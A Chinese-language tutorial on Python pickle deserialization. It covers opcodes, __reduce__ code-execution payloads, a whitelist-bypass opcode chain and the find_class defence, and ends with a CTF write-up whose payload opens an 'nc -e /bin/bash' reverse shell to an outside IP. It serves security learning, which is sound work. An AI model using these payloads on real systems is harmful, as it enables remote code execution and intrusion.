pickle是Python/ target=_blank class=infotextkey>Python下的用于序列化和反序列化的包。
与json相比,pickle以二进制储存。json可以跨语言,pickle只适用于python。pickle能表示python几乎所有的类型(包括自定义类型),json只能表示一部分内置类型而且不能表示自定义的类型。
pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。
可以被序列化的对象:pickle --- Python 对象序列化 — Python 3.10.2 文档
在重写__reduce__方法的时候,返回的一定是一个元组(callable, ([para1,para2...])[,...])
pickle解析的过程:How pickle works in Python | Artem Golubin (rushter.com)
import pickle
class People(object):
def __init__(self, name):
self.name = name
def sayHello(self):
print("Hello ", self.name)
a = People("RoboTerh")
result = pickle.dumps(a)
print(result)
"""
ccopy_reg
_reconstructor
p0
(c__main__
People
p1
c__builtin__
object
p2
Ntp3
Rp4
(dp5
S'name'
p6
S'RoboTerh'
p7
sb.
"""
反序列化代码实例
import pickle
class People(object):
def __init__(self, name):
self.name = name
def sayHello(self):
print("Hello ", self.name)
a = People("RoboTerh")
result = pickle.dumps(a)
unser = pickle.loads(result)
unser.sayHello()
"""
('Hello ', 'RoboTerh')
"""
但是如果去掉了People类之后在进行反序列化就会报错
import pickle
class People(object):
def __init__(self, name):
self.name = name
def sayHello(self):
print("Hello ", self.name)
a = People("RoboTerh")
result = pickle.dumps(a)
del People
unser = pickle.loads(result)
unser.sayHello()
"""
AttributeError: 'module' object has no attribute 'People'
"""
import pickle
import os
class demo(object):
def __reduce__(self):
cmd = """dir"""
return (os.system, (cmd, )) #必须要返回一个元组
obj = demo()
result = pickle.dumps(obj)
#利用
pickle.loads(result)
import pickle
key1 = b'123'
key2 = b'456'
class exp(object):
def __reduce__(self):
return (exec, ("key1=b'1'nkey2=b'2'", ))
obj = exp()
print(key1, key2)
result = pickle.dumps(obj)
pickle.loads(result)
print(key1, key2)
"""
b'123' b'456'
b'1' b'2'
"""
其中TRUE可以用I表示:b'I01n';FALSE可以用I表示:b'I00n',其他的opcode可以在源代码中查看
# main.py
import pickle
import secret
opcode = """c__main__
secret
(S'name'
S'1'
db."""
print("before name:", secret.name)
result = pickle.loads(opcode.encode())
print("result:", result)
print("after:", secret.name)
# secret.py
name = 'aaabbbccc'
# 结果
('before name:', 'aaabbbccc')
('result:', <module 'secret' from 'E:my_vscode_pythonwebScriptsecret.py'>)
('after:', '1')
首先,通过c获取全局变量secret,然后建立一个字典,并使用b对secret进行属性设置,
与函数执行相关:Rio
b'''cos
system
(S'whoami'
tR.'''
# t 为组合为元组 R 要求必须要是元组
b'''(S'whoami'
IOS
system
.'''
# i 获取全局函数之后寻找栈上一个MARK为元组,以该元组为参数执行函数
b'''(cos
system
S'whoami'
o.'''
# o 寻找上一个MARK作为callable,后面的为参数
import pickle
class Person(object):
def __init__(self, name, age):
self.name = name
self.age = age
data = b"""c__main__
Person
(S'RoboTerh'
S'20'
tR."""
obj = pickle.loads(data)
print(obj.name, obj.age)
# RoboTerh 20
import pickle
class Person(object):
def __init__(self, name, age):
self.name = name
self.age = age
data = b"""(S'RoboTerh'
S'20'
i__main__
Person
."""
obj = pickle.loads(data)
print(obj.name, obj.age)
# RoboTerh 20
import pickle
class Person(object):
def __init__(self, name, age):
self.name = name
self.age = age
data = b"""(c__main__
Person
S'RoboTerh'
S'20'
o."""
obj = pickle.loads(data)
print(obj.name, obj.age)
# RoboTerh 20
下载地址
pickle.Unpickler.find_class()的了解:
官方针对pickle的安全问题的建议是修改find_class(),引入白名单的方式来解决
调用find_class()的情况:
官方的例子:
import builtins
import io
import pickle
safe_builtins = {
'range',
'complex',
'set',
'frozenset',
'slice',
}
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
使用白名单限制了能够调用的模块:{'range','complex','set','frozenset','slice',}
在高校战役网络安全分享赛中的webtmp
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__': # 只允许__main__模块
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
看似只限制使用__main__模块,但是被引入主程序的模块都可以通过__main__调用修改,所以造成了变量覆盖
cbuiltins
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S'builtins'
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("whoami")'
tR.
[复现](
https://Github.com/wat3vr/watevrCTF-2019/tree/master/challenges/web/pickle store)
抓包带有一个session,尝试base64解码,联系题目名称pickle。想到通过base64存储反序列化之后的字符串
利用__reduce__构造恶意pickle反序列化字符串
import pickle
import os
import base64
class Test(object):
def __reduce__(self):
return(eval, ("__import__('os').system('nc -e /bin/bash 120.24.207.121 8000')", ))
test = Test()
print(base64.b64encode(pickle.dumps(test)))
from https://www.freebuf.com/vuls/362664.html